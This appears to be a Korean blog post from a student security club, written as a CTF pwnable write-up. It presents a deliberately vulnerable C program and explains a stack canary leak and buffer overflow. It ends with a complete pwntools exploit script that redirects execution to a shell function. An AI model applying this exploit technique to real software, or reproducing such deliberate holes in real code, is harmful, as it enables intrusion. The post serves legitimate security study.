Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- Javascript
- hackerrank
- siss
- 머신러닝
- BOJ Python
- 숙명여자대학교 정보보안 동아리
- 풀이
- 웹페이지 만들기
- Python
- BOJ
- WarGame
- lob
- Sookmyung Information Security Study
- The Loard of BOF
- PHP 웹페이지 만들기
- 자료구조 복습
- c
- 드림핵
- 생활코딩
- 파이썬
- 백준
- 숙명여자대학교 정보보안동아리
- hackctf
- XSS Game
- CSS
- C언어
- HTML
- 기계학습
- SWEA
- c++
Archives
- Today
- Total
혜랑's STORY
ssmash 본문
ssmash.c
// Complie : gcc -o ssmash ssmash.c -m32 -no-pie -fstack-protector -z relro -mpreferred-stack-boundary=2 -fno-pic
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void get_shell(){
system("/bin/sh");
}
void print(unsigned char *box, int idx){
printf("idx: %d, box[idx]: %02x\n", idx, box[idx]);
}
int main(int argc, char *argv[]){
unsigned char box[0x30] = {};
char changed_box[0x30] = {};
char select[2] = {};
int idx, box_size;
idx = box_size = 0;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while(1){
puts("[1] Fill the box");
puts("[2] Print the box");
puts("[3] Exit");
puts("> ");
read(0, select, 2);
switch(select[0]){
case '1':
printf("box input: ");
read(0, box, sizeof(box));
break;
case '2':
printf("index: ");
scanf("%d", &idx);
print(box, idx);
break;
case '3':
printf("box size: ");
scanf("%d", &box_size);
printf("box input: ");
read(0, changed_box, box_size);
return 0;
default: break;
}
}
}
코드를 자세히 살펴보자.
- get_shell()
void get_shell() {
system("/bin/sh");
}
최종적으로 얻어야 할 셸을 불러주는 함수이다.
- print()
void print(unsigned char *box, int idx){
printf("idx: %d, box[idx]: %02x\n", idx, box[idx]);
}
box의 인덱스 번호와 값을 출력하고 있다.
- main()의 while문
while(1){
puts("[1] Fill the box");
puts("[2] Print the box");
puts("[3] Exit");
puts("> ");
read(0, select, 2);
switch(select[0]){
case '1':
printf("box input: ");
read(0, box, sizeof(box));
break;
case '2':
printf("index: ");
scanf("%d", &idx);
print(box, idx);
break;
case '3':
printf("box size: ");
scanf("%d", &box_size);
printf("box input: ");
read(0, changed_box, box_size);
return 0;
default: break;
}
}
1번의 취약점
원하는 인덱스의 값을 출력해준다. 즉, idx와 canary의 offset을 구하면 카나리 릭이 가능하다.
2번의 취약점
box의 크기는 정해져있는 반면, box_len의 크기는 사용자가 지정할 수 있기 때문에 정해진 box의 크기보다 더 입력하여 오버플로우를 발생시켜 코드의 흐름을 변경할 수 있다.
즉, 1번으로 카나리 릭을 한 후 2번를 통해 오버플로우를 일으키고 get_shell로 프로그램의 흐름을 변경하면 된다.
gdb로 확인한 결과 카나리와 return address 사이에는 0x8 만큼의 dummy가 필요하는 것을 알 수 있었다.
이를 바탕으로 익스플로잇 코드를 작성해보자.
from pwn import *
#context.log_level = 'debug'
#p = remote('ctf-hackingcamp.com', '15776')
p = process('./ssmash')
e = ELF('./ssmash')
get_shell = e.symbols['get_shell']
print('[+] get_shell: ' + hex(get_shell))
# [1] Stack Overflow
p.sendlineafter('> ', '1')
p.sendlineafter('box input: ', 'A' * 0x30)
# [2] Canary Leak : canary size 4
canary = b''
for i in range(4):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(0x60+i))
p.recvuntil('box[idx]: ')
canary = p.recvuntil('\n')[:2] + canary
canary = int(canary, 16)
print('[+] canary: ' + hex(canary))
# [3] Exploit
p.sendlineafter('> ', '3')
payload = b'A' * 0x30
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)
payload_len = len(payload.decode('utf-8', 'backslashreplace'))
print('[+] payload_len: ' + hex(payload_len))
#print('[+] payload : ' + str(payload.decode('utf-8', 'backslashreplace')))
#pause()
p.sendlineafter('box size: ', str(payload_len))
p.sendlineafter('box input: ', payload)
p.interactive()
성공적으로 플래그를 획득하였다.
성공~
'무지성 공부방 > Pwnable 문제 만들기' 카테고리의 다른 글
shell (0) | 2022.03.01 |
---|---|
Docker-Compose 이용해서 서버에 문제 올리기(다시 쓰기 ㅌㅋㅋㅋㅌㅊㅋ) (0) | 2022.02.07 |